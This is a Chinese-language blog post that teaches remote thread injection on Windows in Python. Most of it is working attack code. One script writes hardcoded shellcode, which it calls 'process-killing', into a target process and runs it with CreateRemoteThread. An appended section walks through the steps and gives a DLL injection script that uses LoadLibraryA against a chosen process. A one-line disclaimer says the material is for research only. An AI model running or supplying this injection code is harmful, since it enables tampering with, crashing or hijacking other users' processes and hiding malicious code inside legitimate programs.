python 远程线程注入代码

本文介绍如何利用Python实现远程线程注入技术,通过获取目标进程ID并注入Shellcode来创建远程线程。

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用python来实现远程线程注入,该例子是测试相关工作的。参数为要注入的进程的名字:

import sys
import ctypes
from ctypes import *

PAGE_EXECUTE_READWRITE         = 0x00000040
PROCESS_ALL_ACCESS =     ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM        =     ( 0x1000 | 0x2000 )

kernel32      = windll.kernel32
pName         = sys.argv[1]

if not sys.argv[1]:
    print "Code Injector: ./code_injector.py <name to inject>"
    sys.exit(0)

shellcode = \
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"\
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"\
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"\
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"\
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"\
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"\
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"\
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";



code_size     = len(shellcode)

TH32CS_SNAPPROCESS = 0x00000002
class PROCESSENTRY32(ctypes.Structure):
     _fields_ = [("dwSize", ctypes.c_ulong),
                 ("cntUsage", ctypes.c_ulong),
                 ("th32ProcessID", ctypes.c_ulong),
                 ("th32DefaultHeapID", ctypes.c_ulong),
                 ("th32ModuleID", ctypes.c_ulong),
                 ("cntThreads", ctypes.c_ulong),
                 ("th32ParentProcessID", ctypes.c_ulong),
                 ("pcPriClassBase", ctypes.c_ulong),
                 ("dwFlags", ctypes.c_ulong),
                 ("szExeFile", ctypes.c_char * 260)]

def getProcPid(procName):
    CreateToolhelp32Snapshot = ctypes.windll.kernel32.CreateToolhelp32Snapshot
    Process32First = ctypes.windll.kernel32.Process32First
    Process32Next = ctypes.windll.kernel32.Process32Next
    CloseHandle = ctypes.windll.kernel32.CloseHandle
    
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
    
    pe32 = PROCESSENTRY32()
    pe32.dwSize = ctypes.sizeof(PROCESSENTRY32)
    if Process32First(hProcessSnap,ctypes.byref(pe32)) == False:
        return
    if pe32.szExeFile == procName:
        CloseHandle(hProcessSnap)
        return pe32.th32ProcessID
    
    while True:
        #yield pe32 #save the pe32
        if Process32Next(hProcessSnap,ctypes.byref(pe32)) == False:
            break
        if pe32.szExeFile == procName:
            CloseHandle(hProcessSnap)
            return pe32.th32ProcessID
        
    CloseHandle(hProcessSnap)


procPid = getProcPid(pName)
print procPid

# Get a handle to the process we are injecting into.
h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, procPid )

if not h_process:

    print "[*] Couldn't acquire a handle to PID: %s" % pid
    sys.exit(0)

# Allocate some space for the shellcode
arg_address = kernel32.VirtualAllocEx( h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)

# Write out the shellcode
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written))

# Now we create the remote thread and point it's entry routine
# to be head of our shellcode
thread_id = c_ulong(0)
if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None,0,byref(thread_id)):

    print "[*] Failed to inject process-killing shellcode. Exiting."
    sys.exit(0)

print "[*] Remote thread successfully created with a thread ID of: 0x%08x" % thread_id.value

参考:

1. python 灰帽子

2. http://blog.csdn.net/chollima/article/details/7669522

3.http://www.exploit-db.com/exploits/28996/

### 远程线程注入到记事本 (Notepad) 进程 远程线程注入是一种高级编程技术,允许外部代码被加载并执行于另一个进程中。对于 Windows 平台上的应用程序而言,这通常涉及到使用特定的 API 函数来实现此功能。 为了向现有的 `notepad.exe` 进程中注入新创建的线程,可以采用以下方法: 1. **获取目标进程句柄** 首先需要获得目标进程(即 Notepad)的有效句柄。可以通过调用 `OpenProcess()` 来完成这一操作,该函数接收进程 ID 和所需的访问权限作为参数[^1]。 2. **分配内存空间** 使用 `VirtualAllocEx()` 函数为目标进程中预留一块可写的虚拟地址空间用于存储要执行的新代码或数据。 3. **写入 shellcode 或 DLL 路径** 利用 `WriteProcessMemory()` 将准备好的指令序列(shellcode)、DLL 文件路径或者其他形式的数据复制到之前分配给目标进程的那部分内存区域里去。 4. **创建远程线程** 接下来就是实际进行线程注入的部分了——通过调用 `CreateRemoteThread()` 创建一个新的线程,并指定其起始位置指向刚才写入的内容所在的位置;同时也可以设置一些附加参数比如堆栈大小等选项。 5. **等待线程结束** 如果有必要的话还可以继续监视这个新建线程的状态变化直至它终止为止,最后记得释放掉不再使用的资源如关闭句柄之类的清理工作。 下面给出一段简单的 Python代码示例说明上述过程: ```python import ctypes def inject_thread(process_id, dll_path): PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF) kernel32 = ctypes.windll.kernel32 # 获取目标进程句柄 h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, process_id) if not h_process: raise Exception("Could not open target process.") try: # 分配内存 allocated_memory = kernel32.VirtualAllocEx(h_process, None, len(dll_path), 0x3000, 0x40) if not allocated_memory: raise Exception("Failed to allocate memory in remote process.") written = ctypes.c_int(0) # 写入 DLL 路径字符串至已分配的空间内 success = kernel32.WriteProcessMemory(h_process, allocated_memory, dll_path.encode(), len(dll_path), ctypes.byref(written)) if not success or written.value != len(dll_path): raise Exception("Unable to write data into the remote process's address space.") load_library_a_address = kernel32.GetProcAddress(kernel32.GetModuleHandleW('kernel32.dll'), b'LoadLibraryA') thread_id = ctypes.c_ulong(0) # 创建远程线程以加载库文件 if not kernel32.CreateRemoteThread(h_process, None, 0, load_library_a_address, allocated_memory, 0, ctypes.byref(thread_id)): raise Exception("Failed creating remote thread.") finally: kernel32.CloseHandle(h_process) if __name__ == "__main__": import sys if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <process id> <path_to_dll>") exit(-1) pid = int(sys.argv[1]) path = str(sys.argv[2]) inject_thread(pid, path) ``` 请注意,在真实环境中实施此类行为可能违反法律或道德准则,因此仅限研究目的学习之用!
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